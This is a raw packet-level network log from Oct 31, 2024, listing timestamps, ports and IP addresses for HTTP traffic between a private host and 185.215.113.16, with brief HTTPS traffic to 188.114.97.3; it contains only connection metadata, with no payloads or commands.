Oct 31, 2024 20:52:34.432696104 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432769060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432780027 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432790041 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432801962 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432831049 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432842970 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433111906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433123112 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433134079 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433195114 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433206081 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433216095 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433228970 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433300018 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433310986 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433320045 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433424950 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433466911 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433479071 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433573008 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433583021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433593988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433604956 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433715105 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433726072 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433736086 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433748007 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433758974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433769941 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433783054 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.433792114 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434031963 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434042931 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434053898 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434066057 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434154987 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434165955 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434175968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434186935 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434289932 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434302092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434310913 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434322119 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434331894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434343100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434354067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434365034 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434377909 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434500933 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434518099 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434529066 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434539080 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434556007 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434566975 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.434580088 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.435034990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.435046911 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.435056925 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.435117960 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.435129881 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.435139894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.435152054 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.435230017 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.435242891 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.435252905 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.435264111 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.435275078 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.440253019 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.440289021 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.440398932 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.440429926 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.440450907 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.440481901 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.440510988 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.440530062 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.440557957 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.440597057 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.440633059 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.440633059 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.440666914 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.440696001 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.441414118 CET	49770	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:34.448242903 CET	80	49770	185.215.113.206	192.168.2.4
Oct 31, 2024 20:52:34.464086056 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.464301109 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.464313030 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.464329958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.464344025 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.464361906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.464373112 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.464385033 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.464395046 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.464406967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.464418888 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.464430094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.482568979 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.483666897 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.506161928 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506189108 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506200075 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506242990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506254911 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506299973 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506310940 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506321907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506335020 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506345987 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506356001 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506649971 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506695032 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506712914 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506773949 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506784916 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506794930 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506805897 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.506817102 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.513842106 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.516258001 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.516314030 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.516851902 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.521615982 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.521656990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.521667004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.521680117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.521691084 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.521756887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.521768093 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.521785021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.521795988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.521810055 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.521821022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.521821022 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.521873951 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.521892071 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.521903992 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.521924019 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.521935940 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.521944046 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.521945000 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.521984100 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.522067070 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.522100925 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.522109985 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.522111893 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.522157907 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.548665047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.548682928 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.548695087 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.548707008 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.548718929 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.548754930 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.548765898 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.548841953 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.548852921 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.548865080 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.548876047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.548887968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.548897028 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549015999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549026966 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549037933 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549048901 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549124956 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549165964 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549175024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549210072 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549221992 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549232960 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549309969 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549387932 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549398899 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549453974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549465895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549477100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549519062 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549527884 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549612999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549632072 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549643040 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549736977 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549746990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549757004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549768925 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549814939 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549825907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.549834967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550026894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550039053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550049067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550147057 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550158024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550168037 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550179005 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550236940 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550249100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550259113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550359964 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550406933 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550420046 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550486088 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550496101 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550508022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550518990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550611973 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550623894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550638914 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550651073 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550662041 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550849915 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550865889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550877094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550939083 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.550950050 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551065922 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551076889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551086903 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551105022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551182985 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551193953 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551204920 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551215887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551330090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551342010 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551352024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551362991 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551374912 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551384926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551395893 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551620960 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551681995 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551693916 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551815987 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551826000 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551836014 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551846981 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551918983 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551929951 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551939964 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551951885 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551963091 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.551974058 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552032948 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552043915 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552053928 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552064896 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552077055 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552088976 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552409887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552421093 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552431107 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552493095 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552504063 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552515030 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552525997 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552615881 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552627087 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552637100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552648067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552659988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552762032 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552772999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552783966 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552794933 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552805901 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552819014 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552829981 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.552841902 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.553241968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.553252935 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.553268909 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.553280115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.553291082 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.553302050 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.560617924 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.564481974 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.564512968 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.564562082 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.564590931 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.564606905 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.564635038 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.564657927 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.564685106 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.564706087 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.564738035 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.564762115 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.564788103 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.564831018 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.581582069 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.581592083 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.581603050 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.581671000 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.581682920 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.581693888 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.581751108 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.581763029 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.581775904 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.581788063 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.581800938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.581811905 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.581962109 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.581988096 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.581999063 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.582007885 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.582019091 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.582108974 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.614120960 CET	443	49769	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:34.614212036 CET	49769	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:34.618320942 CET	49769	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:34.618350029 CET	443	49769	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:34.618598938 CET	443	49769	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:34.619868040 CET	49769	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:34.620031118 CET	49769	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:34.620064974 CET	443	49769	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:34.620151997 CET	49769	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:34.620167971 CET	443	49769	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:34.624032974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624053955 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624064922 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624111891 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.624111891 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.624125957 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624136925 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624149084 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624207973 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624219894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624228954 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624245882 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624257088 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624269962 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624280930 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624289036 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.624355078 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624356985 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.624366999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624377966 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624403954 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.624442101 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624454021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.624463081 CET	80	49766	185.215.113.16	192.168.2.4
